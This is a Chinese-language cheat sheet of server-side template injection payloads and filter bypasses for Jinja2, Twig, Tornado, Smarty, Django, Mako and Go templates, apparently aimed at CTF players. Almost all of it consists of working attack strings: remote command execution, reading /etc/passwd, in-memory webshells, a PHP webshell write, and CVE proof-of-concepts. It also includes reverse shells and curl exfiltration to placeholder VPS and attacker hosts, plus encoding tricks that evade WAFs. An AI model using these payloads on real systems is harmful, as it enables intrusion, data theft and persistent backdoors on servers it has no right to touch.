各种ssti绕过及脚本
判断网站类型
自己查找判断
- 在页面或者抓包回复里有时会泄露类型
{{7*‘7’}}
- 7777777 -> Jinja2 //最常见的 ssti 类型
- 49 -> Twig,smarty 或者其他
- 被过滤:试试{%print(7*‘7’)%}
各种类型
Jinja2(python)
常规信息搜集
{{config}}
记录了很多基础信息,重要的有 SECRET_KEY,可以改 jwt 的 cookies 验证。{{self.__dict__}}
{{url_for.__globals__}}
- {{url_for.__globals__[‘current_app’].config[‘FLAG’]}}
偶尔找找,flag 可以在这里
- {{datetime}}
含有__globals__的 python 内置类
{{a.__init__.__globals__}}
这里的a类似undefine类。
类似含有 globals 类的还有:
{{self.__init__.__globals__}}
{{cycler.__init__.__globals__}}
{{cycler.next.__globals__}}
{{application.__init__.__globals__}}
{{namespace.__init__.__globals__}}
{{joiner.__init__.__globals__}}
{{g.pop.__globals__}}
{{url_for.__globals__}}
{{lipsum.__globals__}}
{{get_flashed_massages.__globals__}}
{{config.__class__.__init__.__globals__}}
...
利用危险类(直接拿到了 globals 可略过)
利用<class ‘object’>进行注入
用这些可访问对象作为开头
[]
''
""
()
dict
request
并用 base,bases 或 mro 找到<class ‘object’>
{{''.__class__.__base__}} // <class 'object'>
{{''.__class__.__bases__[0]}} // <class 'object'>
{{''.__class__.__mro__[1]}}// <class 'object'>
使用 subclasses 找到危险类
{{''.__class__.__bases__[0].__subclasses__()}}
我们需要寻找危险类,再从中找到__globals__。
这里使用 os._wrap_close
跑脚本
import requests |
拿到危险类后就可以随意构造了 (用 os._wrap_close 可以直接拿到 globals 中的 popen)
{{''.__class__.__bases__[0].__subclasses__()[147].__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}
{{''.__class__.__bases__[0].__subclasses__()[147].__init__.__globals__.popen('whoami').read()}}
不使用<class ‘object’>
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__}}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
如果有回显出以下的全局对象
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
POC 收集
回显
read&write
1.使用FileLoader(_frozen_importlib_external.FileLoader)读取
{{''.__class__.__bases__[0].__subclasses__()[122]["get_data"](0,"/etc/passwd")}}
2.命令执行读取
- open
{{lipsum.__globals__['__builtins__'].eval("open('/etc/passwd').read()")}}
- codecs
{{lipsum.__globals__['__builtins__'].eval("__import__('codecs').open('/etc/passwd').read()")}}
- pathlib
{{lipsum.__globals__['__builtins__'].eval("__import__('pathlib').Path('/etc/passwd').read_text()")}}
- io
{{lipsum.__globals__['__builtins__'].eval("__import__('io').open('/etc/passwd').read()")}}
RCE
{{lipsum.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}
{{lipsum.__globals__.os.popen("whoami").read()}}
无回显
容器有网
使用curl命令带出数据
{{config.__class__.__init__.__globals__['os'].popen('curl VPSIP/`ls /app/f*`').read()}}
{{config.__class__.__init__.__globals__['os'].popen('curl VPSIP/`tac /app/fl4gfl4gfl4g`').read()}}
反弹shell,把"HOST_IP"和Port换成自己的VPS地址
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'exec' in x.__init__.__globals__['__builtins__']['exec'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
{% endif %}
{% endfor %}
{{cycler.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
容器无网
写内存马
add_url_rule写马(高版本已经不可用):
{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_url_rule('/flag',lambda:__import__('os').popen('cat /flag').read())")}} #写一次后就会爆500
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}} #传cmd参数
request.add_response_callback写马:
{{cycler.__init__.__globals__.__builtins__['exec']("request.add_response_callback(lambda request, response: setattr(response,'text', __import__('os').popen('whoami').read()))",{'request': request})}}
过滤了点的写法:
{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')(lambda request,response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request': request})}}
请求头返回马:
{{cycler['__init__']['__globals__']['__builtins__']['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']('sys')['modules']['wsgiref']['simple_server']['ServerHandler'],'http_version',cycler['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']())}}
before_request写马:
https://blog.csdn.net/2301_80148821/article/details/143237394
{%set gl%3d'_'*2%2b'globals'%2b'_'*2%}{%set bu%3d'_'*2%2b'builtins'%2b'_'*2%}{%set im%3d'_'*2%2b'i''mport'%2b'_'*2%}{%set ay%3d'so'[%3a%3a-1]%}{{cycler.next[gl][bu]['ev'%2b'al']("_"%2b"_imp"%2b"ort_"%2b"_('s"%2b"ys').modules['_"%2b"_main_"%2b"_']._"%2b"_dict_"%2b"_['app'].before_request_funcs.setdefault(None,[]).append(lambda%3a'<pre>{0}</pre>'.format(_"%2b"_impo"%2b"rt_"%2b"_('o"%2b"s').po"%2b"pen('cat%20/flag').read()))")}}
{{self['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ev''al']("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x73\x79\x73\x27\x29\x2e\x6d\x6f\x64\x75\x6c\x65\x73\x5b\x27\x5f\x5f\x6d\x61\x69\x6e\x5f\x5f\x27\x5d\x2e\x5f\x5f\x64\x69\x63\x74\x5f\x5f\x5b\x27\x61\x70\x70\x27\x5d\x2e\x62\x65\x66\x6f\x72\x65\x5f\x72\x65\x71\x75\x65\x73\x74\x5f\x66\x75\x6e\x63\x73\x2e\x73\x65\x74\x64\x65\x66\x61\x75\x6c\x74\x28\x4e\x6f\x6e\x65\x2c\x5b\x5d\x29\x2e\x61\x70\x70\x65\x6e\x64\x28\x6c\x61\x6d\x62\x64\x61\x20\x3a\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29\x2e\x72\x65\x61\x64\x28\x29\x29")}}
写静态文件
脚本 From https://bili33.top/posts/CTF-CISCN2024-Preliminary-round-Writeup/
def generate_number(num: int): |
一点关于 ssti 的绕过
()是不可绕过的
但如果 unicode 开着可以试试用全角括号绕过
(=>%EF%BC%88
)=>%EF%BC%89
过滤了双大括号{{}}
{{…}} -> {%print(…)%}
过滤了下划线
{{()|select|string}}
结果为
<generator object select_or_reject at 0x0000025FC4517520>
我们可以发现这里面出现了下划线,我们就可以造出下划线了
str = "<generator object select_or_reject at 0x0000025FC4517520>" |
{%set u=(()|select|string)[24]*2%}{{u}}
{%set%20u=(()|select|string)[24]*2%}{{''[u%2b"class"%2bu][u%2b"class"%2bu]}}
过滤点,中括号
获取属性
. [] 和 |attr() 可以互换(仅限获取属性)
{{''.__class__.__base__}}
{{''['__class__']['__base__']}}
{{''|attr('__class__')|attr('__base__')}}
{{''.__getattribute__('__class__')}}
注意的是__getattribute__不能连接,因为__getattribute__是对象方法,不是全局函数
当需要字符串里过滤时用 getattr
request.add_response_callback
getattr(request,'add_response_callback')
__import__('os').popen('whoami').read()
getattr(getattr(__import__('os'),'popen')('whoami'),'read')()
或者选择编码绕过
获取键值或下标
dict 类型可用 __getitem__,pop,get,setdefault
list 类型可用__getitem__,pop
tuple 类型可用 __getitem__,first,last,random
也可以先转换成 list,此时要加括号以防优先级问题
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__.__getitem__(1).__subclasses__()}}
{{(''.__class__.__mro__|first()).__subclasses__()}}
{{(''.__class__.__mro__|list).pop(1).__subclasses__()}}
字符串绕过(关键字屏蔽)
先把关键字用字符串表示
字符串拼接
- [‘__class__’] -> [‘_'’_cl’‘ass_’‘_’]
- [‘__class__’] -> [‘__ssalc__’[::-1]]
格式化
"__class__"
{%set cl="{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)%}{{''[cl]}}
{%set cl="%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)%}{{''[cl]}}
{%set cl='%c%c%c%c%c%c%c%c%c'%(95,95,99,108,97,115,115,95,95)%}{{''[cl]}}
编码绕过
(1)unicode
- __class__->[‘\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f’]
编码可在 cyberchef 的 escape unicode characters 中找到
(2)hex 十六进制
- __class__->[‘\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f’]
(3)Octal 八进制
- __class__->[‘\137\137\143\154\141\163\163’]
request 绕过
request.args 对应 get 请求
request.form 对应 post 请求
可以直接帮你绕过引号内的内容。
{{lipsum.__globals__.os.popen("whoami").read()}}
{{lipsum[request.args.gl][request.args.o][request.args.p](request.args.cmd)[request.args.r]()}}&gl=__globals__&o=os&p=popen&cmd=whoami&r=read
{{(lipsum|attr(request.args.gl)).get(request.args.o)|attr(request.args.p)(request.args.cmd)|attr(request.args.r)()}}&gl=__globals__&o=os&p=popen&cmd=whoami&r=read
限制了 payload 长度
{%set x=config.update(a=config.update)%} //此时字典中a的值被更新为config全局对象中的update方法
{%set x=config.a(f=lipsum.__globals__)%} //f的值被更新为lipsum.__globals__
{%set x=config.a(o=config.f.os)%} //o的值被更新为lipsum.__globals__.os
{%set x=config.a(p=config.o.popen)%} //p的值被更新为lipsum.__globals__.os.popen
{{config.p("cat /f*").read()}}
{%print(config)%} //输出config字典的所有键值对
{%print(config.o)%} //输出
chr 绕过
先找到 chr 所需的危险类
{%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""chr(46)+chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)+chr(46)+chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95)}}
|
还要先拿到 chr 函数,局限偏大。
fenjing 一把梭
https://github.com/Marven11/Fenjing
fenjing webui |
fenjing python 破解脚本
waf 黑名单生成 shell
import fenjing |
waf 返回文本生成 shell
import functools |
自行修改~
Twig(PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*‘7’}} = 49
{{1/0}} = Error
{{foobar}} Nothing
示例
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Tornado render(python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*‘7’}} = 7777777
示例
0.获取基础
{{handler.settings}}
1.直接读取文件
{% extend /proc/self/environ %}
{% include /proc/self/environ %}
2.直接调用函数
{{__import__("os").popen("ls").read()}}
{{eval('__import__("os").popen("ls").read()')}}
{{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}
3.导入库
{% import os %}{{ os.popen("whoami").read() }}
4.类似flask注入,payload部分通用(所以有时过滤小括号)
{{"".__class__.__mro__[-1].__subclasses__()[num].__init__.__globals__["popen"]('ls').read()}}
{{"".__class__.__mro__[-1].__subclasses__()[num].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
5.tornado特有
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}
{% raw "__import__('os').popen('ls').read()"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}
绕过过滤方法
1.过滤{{}}
{%autoescape None%}{% raw ... %}等同于{{...}}
{%autoescape None%}{% raw eval('__import__("os").popen("ls").read()')%}
2.过滤关键字和引号时,类似flask使用参数绕过
{{eval(handler.get_argument(request.method))}}&GET=__import__("os").popen("ls").read()
POST同理
3.过滤了小括号未过滤引号
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}
4.过滤小括号和引号
payload可以这么改变:
__import__('os').popen('bash -c \'bash -i >& /dev/tcp/vps-ip/port <&1\'')%0a"""%0a&ssti={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&%0a"""(没成功)
注:下面成功了
ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")
smarty(PHP)
{$smarty.version}
{if phpinfo()}{/if}
{if readfile('/flag')}{/if}
php5可用{literal}标签
{literal}alert('xss');{/literal}
{literal}<script>language="php">xxx</script>;{/literal}
3.1前可用{php}标签
{php}phpinfo();{/php}
#3.1.30已弃用getStreamVariable
{self::getStreamVariable("file:///etc/passwd")}
{function+name='rce(){};@eval($_POST[1]);function%0a%0a'}{/function}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
CVE-2021-26120 poc
string:{function name='rce(){};phpinfo();function '}{/function}
CVE-2021-26119 poc
string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system("ls /")}')}
Django
{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
Mako(python)
<%
import os
x=os.popen('id').read()
%>
${x}
GoLang
在 Go 的模板引擎中,可以通过特定的有效负载来确认其使用情况:
{{ . }}:显示数据结构输入。例如,如果具有 Password attribute 时, {{ .Password }} 可能会暴露它。
{{printf “%s” “ssti” }}:应显示字符串 “ssti”。
{{html “ssti”}}、 {{js “ssti”}}:这些有效负载应返回 “ssti” ,而不附加 “html” 或 “js”
对于 Go 中通过 SSTI 的 RCE,可以调用对象方法。例如,如果提供的对象具有 System 方法执行命令,它可以被利用,例如 {{ .System “ls” }}。访问源代码通常是利用这一点所必需的,如给定的示例所示:
func (p Person) Secret (test string) string { |
